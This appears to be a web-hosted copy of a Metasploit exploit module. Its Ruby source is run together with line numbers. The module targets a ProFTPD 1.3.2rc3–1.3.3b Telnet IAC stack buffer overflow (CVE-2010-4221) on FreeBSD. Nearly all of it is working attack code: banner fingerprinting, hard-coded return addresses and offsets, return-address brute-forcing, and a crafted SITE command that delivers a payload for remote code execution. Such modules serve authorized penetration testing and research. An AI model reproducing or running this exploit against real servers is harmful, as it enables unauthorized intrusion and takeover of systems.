Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',14'Description' => %q{15This module exploits a stack-based buffer overflow in versions of ProFTPD16server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a17large number of Telnet IAC commands, an attacker can corrupt memory and18execute arbitrary code.19},20'Author' => [ 'jduck' ],21'References' =>22[23['CVE', '2010-4221'],24['OSVDB', '68985'],25['BID', '44562']26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30'PrependChrootBreak' => true31},32'Privileged' => true,33'Payload' =>34{35'Space' => 1024,36# NOTE: \xff's need to be doubled (per ftp/telnet stuff)37'BadChars' => "\x00\x0a\x0d",38'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)39},40'Platform' => [ 'bsd' ],41'Targets' =>42[43#44# Automatic targeting via fingerprinting45#46[ 'Automatic Targeting', { 'auto' => true } ],4748#49# This special one comes first since we dont want its index changing.50#51[ 'Debug',52{53'IACCount' => 8192, # should cause crash writing off end of stack54'Offset' => 0,55'Ret' => 0x41414242,56'Writable' => 0x4343454557}58],5960#61# specific targets62#63[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',64{65'IACCount' => 1024,66'Offset' => 0x414,67#'Ret' => 0xbfbfeac4,68'Writable' => 0x80e64a4,69'Bruteforce' =>70{71'Start' => { 'Ret' => 0xbfbffdfc },72'Stop' => { 'Ret' => 0xbfa00000 },73'Step' => 51274}75}76],7778],79'DefaultTarget' => 0,80'DisclosureDate' => '2010-11-01'))8182register_options(83[84Opt::RPORT(21),85])86end878889def check90# NOTE: We don't care if the login failed here...91ret = connect92banner = sock.get_once || ''9394# We just want the banner to check against our targets..95vprint_status("FTP Banner: #{banner.strip}")9697status = CheckCode::Safe98if banner =~ /ProFTPD (1\.3\.[23])/i99banner_array = banner.split('.')100101if banner_array.count() > 0 && !banner_array[3].nil?102# gets 1 char on the third part of version number.103relnum = banner_array[2][0..0]104tmp = banner_array[2].split(' ')105# gets extra string info of version number.106# example: 1.2.3rc ('rc' string)107extra = tmp[0][1..(tmp[0].length - 1)]108if relnum == '2'109if extra.length > 0110if extra[0..1] == 'rc'111v = extra[2..extra.length].to_i112if v && v > 2113status = CheckCode::Appears114end115else116status = CheckCode::Appears117end118end119elsif relnum == '3'120if [ '', 'a', 'b', ].include?(extra)121status = CheckCode::Appears122end123end124end125end126127disconnect128return status129end130131def target132return @mytarget if @mytarget133super134end135136def exploit137connect138139# Use a copy of the target140@mytarget = target141142if (target['auto'])143@mytarget = nil144145print_status("Automatically detecting the target...")146if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then147print_status("FTP Banner: #{banner.strip}")148version = m[1]149else150fail_with(Failure::NoTarget, "No matching target")151end152153regexp = Regexp.escape(version)154self.targets.each do |t|155if (t.name =~ /#{regexp}/) then156@mytarget = t157break158end159end160161if (not @mytarget)162fail_with(Failure::NoTarget, "No matching target")163end164165print_status("Selected Target: #{@mytarget.name}")166167pl = exploit_regenerate_payload(@mytarget.platform, arch)168if not pl169fail_with(Failure::Unknown, 'Unable to regenerate payload!')170end171else172print_status("Trying target #{@mytarget.name}...")173if banner174print_status("FTP Banner: #{banner.strip}")175end176177pl = payload178end179disconnect180181super182end183184def brute_exploit(addrs)185@mytarget ||= target186187ret = addrs['Ret']188print_status("Trying return address 0x%.8x..." % ret)189190#puts "attach and press any key"; bleh = $stdin.gets191192buf = ''193buf << 'SITE '194# NOTE: buf must be odd-lengthed prior to here.195buf << "\xff" * @mytarget['IACCount']196buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)197buf << [198ret,199@mytarget['Writable']200].pack('V*')201buf << payload.encoded202buf << "\r\n"203204connect205sock.put(buf)206disconnect207208handler209end210end211212213